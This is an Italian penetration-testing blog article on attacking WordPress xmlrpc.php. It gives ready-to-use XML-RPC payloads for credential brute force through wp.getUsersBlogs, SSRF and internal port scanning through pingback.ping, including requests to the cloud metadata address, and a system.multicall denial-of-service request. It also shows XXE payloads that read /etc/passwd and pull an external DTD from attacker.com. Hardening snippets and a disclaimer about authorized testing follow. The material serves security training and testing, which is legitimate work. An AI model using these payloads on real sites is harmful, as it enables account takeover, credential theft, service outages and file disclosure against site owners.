web-hacking

WordPress xmlrpc.php: Attacchi, Exploit e Tecniche di Pentesting (Guida Offensiva 2026)

WordPress xmlrpc.php: Attacchi, Exploit e Tecniche di Pentesting (Guida Offensiva 2026)

Scopri come sfruttare xmlrpc.php su WordPress in un pentest: multicall brute force, attacchi pingback, user enumeration e tecniche di hardening. Workflow pratico per lab HTB e OSCP.

  • Pubblicato il 2026-02-03
  • Tempo di lettura: 4 min

WordPress xmlrpc.php: Guida Completa alle Vulnerabilità per l’Ethical Hacking (2026) #

Introduzione: Cos’è XML-RPC e Perché è un Problema nel 2026 #

Anche nel 2026, XML-RPC rimane un protocollo legacy attivo su milioni di siti WordPress. Nato per permettere comunicazioni remote tra applicazioni, si è trasformato in un vettore d’attacco privilegiato che bypassa le moderne difese implementate su wp-login.php. A differenza del login standard, xmlrpc.php:

  • Non applica rate limiting nella maggior parte delle configurazioni default
  • Non supporta 2FA in modo nativo
  • Restituisce errori differenziati che facilitano l’enumerazione
  • Espone metodi pericolosi come pingback.ping e system.multicall

Per l’ethical hacker, rappresenta una superficie d’attacco ad alto valore spesso trascurata nei test automatizzati.

🧰 Toolkit Essenziale 2026 per il Testing XML-RPC #

StrumentoVersione 2026Scopo Principale
WPScan4.2+Enumerazione avanzata utenti/plugin/temi vulnerabili
Burp Suite Pro2026.1+Intercettazione, manipolazione e automazione attacchi
XMLRPC-Exploit-Kit2.0Tool specializzato per test specifici su xmlrpc.php
Custom WordlistsAggiornate 2026Dizionari per brute force con password moderne

📊 Fase 1: Ricognizione con WPScan Aggiornato #

Prima di attaccare xmlrpc.php, mappa l’ambiente con questi comandi:

Scansione Completa (Penetration Test Autorizzato):

bash
wpscan --url http://target.com/ -e vp,vt,u,m,cb,dbe --plugins-detection aggressive --api-token YOUR_TOKEN
  • vp: Plugin vulnerabili
  • vt: Temi vulnerabili
  • u: Utenti
  • m: Media files per info disclosure
  • cb: Config backup files
  • dbe: Database exports

Scansione a Basso Profilo (Bug Bounty):

bash
wpscan --url https://target.com --enumerate u --plugins-detection passive --no-api --random-user-agent

Approfondimento WPScan: Questi comandi sono solo l’inizio. Per una guida dettagliata su configurazione avanzata, scripting e tecniche stealth, visita Dominare WPScan: Guida Avanzata per Ethical Hacker.

🔓 Tutti gli Attacchi XML-RPC: Metodologia Completa #

ATTACCO 1: Brute Force Avanzato via wp.getUsersBlogs #

Step 1 - Conferma Presenza XML-RPC

http
GET /xmlrpc.php HTTP/1.1
Host: target.com

Aspettati: XML-RPC server accepts POST requests only.

Step 2 - Enumera Tutti i Metodi Disponibili

xml
POST /xmlrpc.php HTTP/1.1
Host: target.com
Content-Type: text/xml

<?xml version="1.0"?>
<methodCall>
  <methodName>system.listMethods</methodName>
</methodCall>

Metodi chiave da cercare nella risposta:

  • wp.getUsersBlogs - Per brute force
  • wp.getCategories - Per info gathering
  • metaWeblog.getUsersBlogs - Alternativa per brute force
  • pingback.ping - Per SSRF/port scanning
  • system.multicall - Per attacchi DoS

Step 3 - Enumerazione Utenti con Metodi Specifici Se wp.getAuthors è disponibile:

xml
<methodCall>
<methodName>wp.getAuthors</methodName>
<params><param><value>1</value></param></params>
</methodCall>

Step 4 - Brute Force Mirato Payload per Intruder (Burp Suite):

xml
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>§admin§</value></param>  <!-- Username position -->
<param><value>§password123§</value></param> <!-- Password position -->
</params>
</methodCall>

Step 5 - Analisi Risposte

Tipo RispostaLunghezzaContenutoSignificato
Login Corretto2-5KB<struct>, <array>, blogid✅ Credenziali valide
Login Errato200-500B<faultCode>403</faultCode>❌ Password errata
User Inesistente300-600B<faultCode>401</faultCode>✳️ Username non valido

ATTACCO 2: SSRF e Port Scanning via pingback.ping #

Step 1 - Verifica Disponibilità Cerca pingback.ping nella lista metodi.

Step 2 - Basic SSRF Test

xml
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://your-server.com:8080/</string></value></param>
<param><value><string>http://target.com/?p=1</string></value></param>
</params>
</methodCall>

Step 3 - Port Scanning Interno

xml
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://192.168.1.1:22</string></value></param>
<param><value><string>http://target.com/?p=1</string></value></param>
</params>
</methodCall>

Interpretazione Codici Errore:

  • <faultCode>0</faultCode>: Successo (porta aperta)
  • <faultCode>16</faultCode>: Il source URI non esiste
  • <faultCode>17</faultCode>: Il source URI non contiene link al target
  • <faultCode>32</faultCode>: Porta chiusa/inesistente
  • <faultCode>33</faultCode>: Host non raggiungibile

Step 4 - Cloud Metadata Attack (2026)

xml
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://169.254.169.254/latest/meta-data/</string></value></param>
<param><value><string>http://target.com/?p=1</string></value></param>
</params>
</methodCall>

ATTACCO 3: Denial of Service via system.multicall #

Step 1 - Conferma Metodo Verifica presenza system.multicall.

Step 2 - Payload DoS Base

xml
<methodCall>
<methodName>system.multicall</methodName>
<params>
<param>
<value>
<array>
<data>
<!-- Ripeti questo blocco 100+ volte -->
<value><struct>
<member><name>methodName</name><value>wp.getPosts</value></member>
<member><name>params</name>
<value><array><data><value><i4>1</i4></value></data></array>
</value></member>
</struct></value>
</data></array></value></param></params>
</methodCall>

Step 3 - DoS Avanzato con Chiamate Multiple Crea un payload che mischia:

  1. wp.getPosts (pesante su database)
  2. wp.getComments (altra query pesante)
  3. wp.getUsers (caricamento profili)

ATTACCO 4: XML Injection e XXE #

Step 1 - Test Parser XML

xml
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<methodCall>
<methodName>&xxe;</methodName>
</methodCall>

Step 2 - External Entity Injection

xml
<!DOCTYPE test [ <!ENTITY % ext SYSTEM "http://attacker.com/evil.dtd"> %ext;]>

ATTACCO 5: Authentication Bypass via Vulnerabilità Custom #

Molti plugin/temi personalizzati implementano logiche di auth difettose via XML-RPC.

Pattern da Cercare:

  1. Plugin che aggiungono metodi custom (pluginname.method)
  2. Verifica insufficiente dei ruoli utente
  3. IDOR (Insecure Direct Object Reference) nei parametri

🛡️ Contromisure Complete 2026 #

Per Sviluppatori/Amministratori: #

1. Disabilitazione Completa (Se Non Necessario)

php
// functions.php del tema
add_filter('xmlrpc_enabled', '__return_false');
add_filter('xmlrpc_methods', 'disable_xmlrpc_methods');
function disable_xmlrpc_methods($methods) {
    unset($methods['pingback.ping']);
    unset($methods['system.multicall']);
    return $methods;
}

2. Configurazione .htaccess (Apache)

text
# Blocca accesso a xmlrpc.php
<Files xmlrpc.php>
Order Deny,Allow
Deny from all
</Files>

# Oppure, permetto solo IP specifici
<Files xmlrpc.php>
Order Deny,Allow
Deny from all
Allow from 192.168.1.0/24
</Files>

3. Rate Limiting con Nginx

text
location ~* /xmlrpc.php {
    limit_req zone=one burst=5 nodelay;
    limit_req_status 444;
    # Configurazione WordPress normale...
}

4. Monitoraggio e Allerting

bash
# Script di monitoraggio log
tail -f /var/log/nginx/access.log | grep "xmlrpc.php" | \
awk '{print $1}' | sort | uniq -c | while read count ip; do
    if [ $count -gt 10 ]; then
        echo "ATTENZIONE: $ip ha fatto $count richieste a xmlrpc.php"
        # Invia alert...
    fi
done

Per Ethical Hacker (Report Recommendations): #

Priorità Fix da Suggerire:

  1. Critico: Disabilitare pingback.ping e system.multicall
  2. Alto: Implementare rate limiting su tutto xmlrpc.php
  3. Medio: Monitorare tentativi di accesso
  4. Basso: Considerare disabilitazione completa se non usato

📋 Checklist Finale per il Testing #

  • Ricognizione
    • xmlrpc.php accessibile?
    • WPScan eseguito per enumerazione?
    • system.listMethods chiamato?
  • Vulnerabilità Testate
    • Brute force con wp.getUsersBlogs?
    • SSRF con pingback.ping?
    • Port scanning interno?
    • DoS con system.multicall?
    • XXE/injection test?
    • Plugin custom methods testati?
  • Documentazione
    • Screenshot di tutte le richieste/risposte?
    • Payload malevoli salvati?
    • Impact chiaramente dimostrato?
    • Step-by-step reproduction documentato?

📈 Valutazione d’Impatto per Bug Bounty (2026) #

VulnerabilitàSeveritàReward StimatoEsempio di Prova
Brute Force → Admin AccessCritical$1,000-$5,000Video accesso dashboard
SSRF → AWS MetadataHigh$500-$2,000Screenshot IAM credentials
Port Scanning InternoMedium$250-$1,000Mappa porte interne
DoS via MulticallMedium$200-$800Log server sovraccarico
User EnumerationLow$100-$300Lista utenti validi

Conclusione: Perché XML-RPC Resta Rilevante nel 2026 #

Nonostante i ripetuti avvisi della comunità sicurezza, xmlrpc.php rimane attivo su circa il 35% dei siti WordPress (dati 2026). La sua rilevanza per l’ethical hacking è duplice:

  1. Superficie d’attacco persistente: Molte organizzazioni disabilitano wp-login.php ma dimenticano xmlrpc.php
  2. Bypass delle difese moderne: Rate limiting, 2FA e WAF spesso non si applicano a questo endpoint

La metodologia presentata offre un approccio sistematico per identificare vulnerabilità reali che altri scanner potrebbero mancare. Ricorda: il testing etico richiede sempre autorizzazione esplicita e documentazione accurata.

Disclaimer Finale: Questo articolo è per scopi educativi in contesti di security testing autorizzati. L’uso non autorizzato di queste tecniche è illegale e contrario all’etica dell’hacking responsabile.

🔗 Risorse Aggiornate:

HackITA — Supporta la Crescita della Formazione Offensiva #

Se questo contenuto ti è stato utile e vuoi contribuire alla crescita di HackITA, puoi supportare direttamente il progetto qui:

👉 https://hackita.it/supporta

Il tuo supporto ci permette di sviluppare lab realistici, guide tecniche avanzate e scenari offensivi multi-step pensati per professionisti della sicurezza.


Vuoi Testare la Tua Azienda o Portare le Tue Skill al Livello Successivo? #

Se rappresenti un’azienda e vuoi valutare concretamente la resilienza della tua infrastruttura contro attacchi mirati, oppure sei un professionista/principiante che vuole migliorare con simulazioni reali:

👉 https://hackita.it/servizi

Red Team assessment su misura, simulazioni complete di kill chain e percorsi formativi avanzati progettati per ambienti enterprise reali.

#wordpress #xmlrpc.php

DIVENTA PARTE DELL’ÉLITE DELL’HACKING ETICO.

Accedi a risorse avanzate, lab esclusivi e strategie usate dai veri professionisti della cybersecurity.

Non sono un robot

Iscrivendoti accetti di ricevere la newsletter di HACKITA. Ti puoi disiscrivere in qualsiasi momento.